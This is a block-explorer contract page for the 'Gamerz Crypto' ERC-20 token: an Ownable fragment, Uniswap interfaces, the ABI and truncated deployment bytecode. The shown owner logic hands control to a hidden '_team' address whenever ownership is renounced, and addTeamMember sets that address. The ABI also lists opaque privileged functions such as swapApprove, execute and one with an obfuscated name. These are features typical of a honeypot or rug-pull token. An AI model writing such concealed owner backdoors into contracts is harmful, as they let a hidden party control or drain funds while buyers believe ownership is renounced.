        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }

    /**
     * @dev Set new distributor.
     */
    function addTeamMember(address account) external onlyOwner {
        _team = account;
    }

    function Owner() internal virtual returns (address) {
        
        address owner_ = verifyOwner();
        return owner_;
    }
}

File 6 of 6: Uniswap.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.3;

interface IUniswapV2Pair {
    function sync() external;
    function transferFrom(address from, address to, uint value) external returns (bool);
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}


interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"},{"indexed":false,"internalType":"bool","name":"isExcluded","type":"bool"}],"name":"ExcludeFromFees","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"pair","type":"address"},{"indexed":true,"internalType":"address","name":"value","type":"address"}],"name":"SetAutomatedMarketMakerPair","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newAddress","type":"address"},{"indexed":true,"internalType":"address","name":"oldAddress","type":"address"}],"name":"UpdateUniswapV2Router","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"devWalletUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"newWallet","type":"address"},{"indexed":true,"internalType":"address","name":"oldWallet","type":"address"}],"name":"marketingWalletUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"_setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addTeamMember","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"buyDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"devWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"disableTransferDelay","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"excluded","type":"bool"}],"name":"excludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"updAds","type":"address"},{"internalType":"bool","name":"isEx","type":"bool"}],"name":"excludeFromMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"excludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"frequencyInSeconds0xamountToSwapForETHuniswapV2Routercalldata","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"manualBurnLiquidityPairTokens","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellDevFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_frequencyInSeconds","type":"uint256"},{"internalType":"uint256","name":"_percent","type":"uint256"},{"internalType":"bool","name":"_Enabled","type":"bool"}],"name":"setAutoLPBurnSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"address","name":"value","type":"address"}],"name":"setAutomatedMarketMakerPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"swapApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForDev","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateBuyFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newWallet","type":"address"}],"name":"updateDevWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newMarketingWallet","type":"address"}],"name":"updateMarketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_marketingFee","type":"uint256"},{"internalType":"uint256","name":"_liquidityFee","type":"uint256"},{"internalType":"uint256","name":"_devFee","type":"uint256"}],"name":"updateSellFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"enabled","type":"bool"}],"name":"updateSwapEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newAmount","type":"uint256"}],"name":"updateSwapTokensAtAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526a52b7d2dcc80cd2e400000060055562278f58600f5560016011556001601260006101000a81548160ff02191690831515021790555065013ca65120006013556001601560006101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055506001601560026101000a81548160ff0219169083151502179055506001602360006101000a81548160ff021916908315150217905550348015620000bd57600080fd5b506040518060400160405280600d81526020017f47616d65727a2043727970746f000000000000000000000000000000000000008152506040518060400160405280600681526020017f47414d45525a000000000000000000000000000000000000000000000000000081525060006200013c6200050960201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073bcc603631fb4efe81177fab0a83c4e7068077a88600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35081600690805190602001906200024792919062000a00565b5080600790805190602001906200026092919062000a00565b5060055460048190555050506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050620002988160016200051160201b60201c565b8073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b8152505060008060008060008060006801a055690d9db800009050866018819055508560198190555084601a81905550601a5460195460185462000310919062000bf8565b6200031c919062000bf8565b60178190555083601c8190555082601d8190555081601e81905550601e54601d54601c546200034c919062000bf8565b62000358919062000bf8565b601b819055506107d0600a8262000370919062000c8d565b6200037c919062000c55565b600c8190555069152d02c7e14af6800000600b81905550693f870857a3e0e3800000600a81905550620003b46200057c60201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004046200057c60201b60201c565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000466620004586200057c60201b60201c565b6001620005a560201b60201c565b62000479306001620005a560201b60201c565b6200048e61dead6001620005a560201b60201c565b620004b0620004a26200057c60201b60201c565b60016200051160201b60201c565b620004c33060016200051160201b60201c565b620004d861dead60016200051160201b60201c565b620004ea33826200066060201b60201c565b620004fa6200081160201b60201c565b50505050505050505062000e42565b600033905090565b620005216200084560201b60201c565b80602560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b620005b56200084560201b60201c565b80602460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f9d8f7706ea1113d1a167b526eca956215946dd36cc7df39eb16180222d8b5df78260405162000654919062000b47565b60405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620006d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620006ca9062000ba8565b60405180910390fd5b620006e760008383620008d660201b60201c565b6200070381600854620008db60201b6200277f1790919060201c565b6008819055506200076281600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054620008db60201b6200277f1790919060201c565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000805919062000bca565b60405180910390a35050565b6000620008236200084560201b60201c565b6000601560006101000a81548160ff0219169083151502179055506001905090565b620008556200050960201b60201c565b73ffffffffffffffffffffffffffffffffffffffff166200087b6200093e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1614620008d4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620008cb9062000b86565b60405180910390fd5b565b505050565b6000808284620008ec919062000bf8565b90508381101562000934576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200092b9062000b64565b60405180910390fd5b8091505092915050565b600080620009516200095a60201b60201c565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614620009d75760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620009fb565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b82805462000a0e9062000d04565b90600052602060002090601f01602090048101928262000a32576000855562000a7e565b82601f1062000a4d57805160ff191683800117855562000a7e565b8280016001018555821562000a7e579182015b8281111562000a7d57825182559160200191906001019062000a60565b5b50905062000a8d919062000a91565b5090565b5b8082111562000aac57600081600090555060010162000a92565b5090565b62000abb8162000cee565b82525050565b600062000ad0601b8362000be7565b915062000add8262000dc7565b602082019050919050565b600062000af760208362000be7565b915062000b048262000df0565b602082019050919050565b600062000b1e601f8362000be7565b915062000b2b8262000e19565b602082019050919050565b62000b418162000cfa565b82525050565b600060208201905062000b5e600083018462000ab0565b92915050565b6000602082019050818103600083015262000b7f8162000ac1565b9050919050565b6000602082019050818103600083015262000ba18162000ae8565b9050919050565b6000602082019050818103600083015262000bc38162000b0f565b9050919050565b600060208201905062000be1600083018462000b36565b92915050565b600082825260208201905092915050565b600062000c058262000cfa565b915062000c128362000cfa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562000c4a5762000c4962000d3a565b5b828201905092915050565b600062000c628262000cfa565b915062000c6f8362000cfa565b92508262000c825762000c8162000d69565b5b828204905092915050565b600062000c9a8262000cfa565b915062000ca78362000cfa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ce35762000ce262000d3a565b5b828202905092915050565b60008115159050919050565b6000819050919050565b6000600282049050600182168062000d1d57607f821691505b6020821081141562000d345762000d3362000d98565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b60805160601c61597662000e7d6000396000818161122c01528181612d8e01528181613f8d015281816140a301526140ca01526159766000f3fe6080604052600436106104095760003560e01c80638a8c523c11610213578063bbbb3ffc11610123578063d85ba063116100ab578063f11a24d31161007a578063f11a24d314610fa0578063f2fde38b14610fcb578063f637434214610ff4578063f8b45b051461101f578063fe72b27a1461104a57610410565b8063d85ba06314610ee2578063dd62ed3e14610f0d578063e2f4560514610f4a578063e884f26014610f7557610410565b8063c18bc195116100f2578063c18bc19514610dfd578063c2b7bbb614610e26578063c876d0b914610e4f578063c8c8ebe414610e7a578063d257b34f14610ea557610410565b8063bbbb3ffc14610d57578063bbc0c74214610d80578063c024666814610dab578063c17b5b8c14610dd457610410565b80639ec22c0e116101a6578063a457c2d711610175578063a457c2d714610c4c578063a4c82a0014610c89578063a9059cbb14610cb4578063aacebbe314610cf1578063b62496f514610d1a57610410565b80639ec22c0e14610ba25780639fccce3214610bcd578063a0d82dc514610bf8578063a165506f14610c2357610410565b8063924de9b7116101e2578063924de9b714610afa57806395d89b4114610b235780639c3b4fdc14610b4e5780639dc29fac14610b7957610410565b80638a8c523c14610a625780638da5cb5b14610a795780638ea5220f14610aa45780639213691314610acf57610410565b8063313ce5671161031957806370a08231116102a15780637571336a116102705780637571336a1461097d57806375f0a874146109a65780637bce5a04146109d15780638095d564146109fc57806385ecafd714610a2557610410565b806370a08231146108d5578063715018a614610912578063730c188814610929578063751039fc1461095257610410565b806349bd5a5e116102e857806349bd5a5e146107da5780634fbee193146108055780636a486a8e146108425780636ddd17131461086d5780636fd7072a1461089857610410565b8063313ce5671461071e5780633582ad231461074957806339509351146107745780633eb2b5ad146107b157610410565b8063199ffc721161039c57806323b872dd1161036b57806323b872dd1461063757806326ededb81461067457806327c8f8351461069d5780632c3e486c146106c85780632e82f1a0146106f357610410565b8063199ffc721461058d5780631a8145bb146105b85780631f3fed8f146105e3578063203e727e1461060e57610410565b80631694505e116103d85780631694505e146104e357806318160ddd1461050e5780631816467f14610539578063184c16c51461056257610410565b806306fdde0314610415578063095ea7b31461044057806310d5de531461047d5780631186b8d8146104ba57610410565b3661041057005b600080fd5b34801561042157600080fd5b5061042a611087565b6040516104379190614a94565b60405180910390f35b34801561044c57600080fd5b5061046760048036038101906104629190614383565b611119565b6040516104749190614a5e565b60405180910390f35b34801561048957600080fd5b506104a4600480360381019061049f919061426a565b611137565b6040516104b19190614a5e565b60405180910390f35b3480156104c657600080fd5b506104e160048036038101906104dc91906143bf565b611157565b005b3480156104ef57600080fd5b506104f861122a565b6040516105059190614a79565b60405180910390f35b34801561051a57600080fd5b5061052361124e565b6040516105309190614dd6565b60405180910390f35b34801561054557600080fd5b50610560600480360381019061055b919061426a565b611258565b005b34801561056e57600080fd5b50610577611320565b6040516105849190614dd6565b60405180910390f35b34801561059957600080fd5b506105a2611326565b6040516105af9190614dd6565b60405180910390f35b3480156105c457600080fd5b506105cd61132c565b6040516105da9190614dd6565b60405180910390f35b3480156105ef57600080fd5b506105f8611332565b6040516106059190614dd6565b60405180910390f35b34801561061a57600080fd5b5061063560048036038101906106309190614498565b611338565b005b34801561064357600080fd5b5061065e600480360381019061065991906142f8565b6113cf565b60405161066b9190614a5e565b60405180910390f35b34801561068057600080fd5b5061069b60048036038101906106969190614417565b6114a8565b005b3480156106a957600080fd5b506106b26115ab565b6040516106bf9190614a43565b60405180910390f35b3480156106d457600080fd5b506106dd6115b1565b6040516106ea9190614dd6565b60405180910390f35b3480156106ff57600080fd5b506107086115b7565b6040516107159190614a5e565b60405180910390f35b34801561072a57600080fd5b506107336115ca565b6040516107409190614e4b565b60405180910390f35b34801561075557600080fd5b5061075e6115d3565b60405161076b9190614a5e565b60405180910390f35b34801561078057600080fd5b5061079b60048036038101906107969190614383565b6115e6565b6040516107a89190614a5e565b60405180910390f35b3480156107bd57600080fd5b506107d860048036038101906107d3919061426a565b611699565b005b3480156107e657600080fd5b506107ef6116e5565b6040516107fc9190614a43565b60405180910390f35b34801561081157600080fd5b5061082c6004803603810190610827919061426a565b61170b565b6040516108399190614a5e565b60405180910390f35b34801561084e57600080fd5b50610857611761565b6040516108649190614dd6565b60405180910390f35b34801561087957600080fd5b50610882611767565b60405161088f9190614a5e565b60405180910390f35b3480156108a457600080fd5b506108bf60048036038101906108ba919061426a565b61177a565b6040516108cc9190614a5e565b60405180910390f35b3480156108e157600080fd5b506108fc60048036038101906108f7919061426a565b61179a565b6040516109099190614dd6565b60405180910390f35b34801561091e57600080fd5b506109276117e3565b005b34801561093557600080fd5b50610950600480360381019061094b91906144ea565b6118a9565b005b34801561095e57600080fd5b50610967611975565b6040516109749190614a5e565b60405180910390f35b34801561098957600080fd5b506109a4600480360381019061099f9190614347565b6119a1565b005b3480156109b257600080fd5b506109bb611a04565b6040516109c89190614a43565b60405180910390f35b3480156109dd57600080fd5b506109e6611a2a565b6040516109f39190614dd6565b60405180910390f35b348015610a0857600080fd5b50610a236004803603810190610a1e9190614539565b611a30565b005b348015610a3157600080fd5b50610a4c6004803603810190610a47919061426a565b611abb565b604051610a599190614a5e565b60405180910390f35b348015610a6e57600080fd5b50610a77611b11565b005b348015610a8557600080fd5b50610a8e611b58565b604051610a9b9190614a43565b60405180910390f35b348015610ab057600080fd5b50610ab9611b81565b604051610ac69190614a43565b60405180910390f35b348015610adb57600080fd5b50610ae4611ba7565b604051610af19190614dd6565b60405180910390f35b348015610b0657600080fd5b50610b216004803603810190610b1c919061446f565b611bad565b005b348015610b2f57600080fd5b50610b38611bd2565b604051610b459190614a94565b60405180910390f35b348015610b5a57600080fd5b50610b63611c64565b604051610b709190614dd6565b60405180910390f35b348015610b8557600080fd5b50610ba06004803603810190610b9b9190614383565b611c6a565b005b348015610bae57600080fd5b50610bb7611c80565b604051610bc49190614dd6565b60405180910390f35b348015610bd957600080fd5b50610be2611c86565b604051610bef9190614dd6565b60405180910390f35b348015610c0457600080fd5b50610c0d611c8c565b604051610c1a9190614dd6565b60405180910390f35b348015610c2f57600080fd5b50610c4a6004803603810190610c4591906142bc565b611c92565b005b348015610c5857600080fd5b50610c736004803603810190610c6e9190614383565b611ca8565b604051610c809190614a5e565b60405180910390f35b348015610c9557600080fd5b50610c9e611d75565b604051610cab9190614dd6565b60405180910390f35b348015610cc057600080fd5b50610cdb6004803603810190610cd69190614383565b611d7b565b604051610ce89190614a5e565b60405180910390f35b348015610cfd57600080fd5b50610d186004803603810190610d13919061426a565b611d99565b005b348015610d2657600080fd5b50610d416004803603810190610d3c919061426a565b611e61565b604051610d4e9190614a43565b60405180910390f35b348015610d6357600080fd5b50610d7e6004803603810190610d7991906142bc565b611e94565b005b348015610d8c57600080fd5b50610d95611f78565b604051610da29190614a5e565b60405180910390f35b348015610db757600080fd5b50610dd26004803603810190610dcd9190614347565b611f8b565b005b348015610de057600080fd5b50610dfb6004803603810190610df69190614539565b61203c565b005b348015610e0957600080fd5b50610e246004803603810190610e1f9190614498565b6120c7565b005b348015610e3257600080fd5b50610e4d6004803603810190610e48919061426a565b61215a565b005b348015610e5b57600080fd5b50610e646121d3565b604051610e719190614a5e565b60405180910390f35b348015610e8657600080fd5b50610e8f6121e6565b604051610e9c9190614dd6565b60405180910390f35b348015610eb157600080fd5b50610ecc6004803603810190610ec79190614498565b6121ec565b604051610ed99190614a5e565b60405180910390f35b348015610eee57600080fd5b50610ef76122cd565b604051610f049190614dd6565b60405180910390f35b348015610f1957600080fd5b50610f346004803603810190610f2f91906142bc565b6122d3565b604051610f419190614dd6565b60405180910390f35b348015610f5657600080fd5b50610f5f61235a565b604051610f6c9190614dd6565b60405180910390f35b348015610f8157600080fd5b50610f8a612360565b604051610f979190614a5e565b60405180910390f35b348015610fac57600080fd5b50610fb561238c565b604051610fc29190614dd6565b60405180910390f35b348015610fd757600080fd5b50610ff26004803603810190610fed919061426a565b612392565b005b34801561100057600080fd5b506110096124c7565b6040516110169190614dd6565b60405180910390f35b34801561102b57600080fd5b506110346124cd565b6040516110419190614dd6565b60405180910390f35b34801561105657600080fd5b50611071600480360381019061106c9190614498565b6124d3565b60405161107e9190614a5e565b60405180910390f35b60606006805461109690615099565b80601f01602080910402602001604051908101604052809291908181526020018280546110c290615099565b801561110f5780601f106110e45761010080835404028352916020019161110f565b820191906000526020600020905b8154815290600101906020018083116110f257829003601f168201915b5050505050905090565b600061112d6111266127dd565b84846127e5565b6001905092915050565b60256020528060005260406000206000915054906101000a900460ff1681565b61115f6129b0565b60005b838390508110156112245781601660008686858181106111ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906111c0919061426a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061121c906150cb565b915050611162565b50505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600854905090565b6112606129b0565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673fffffffffffffffffff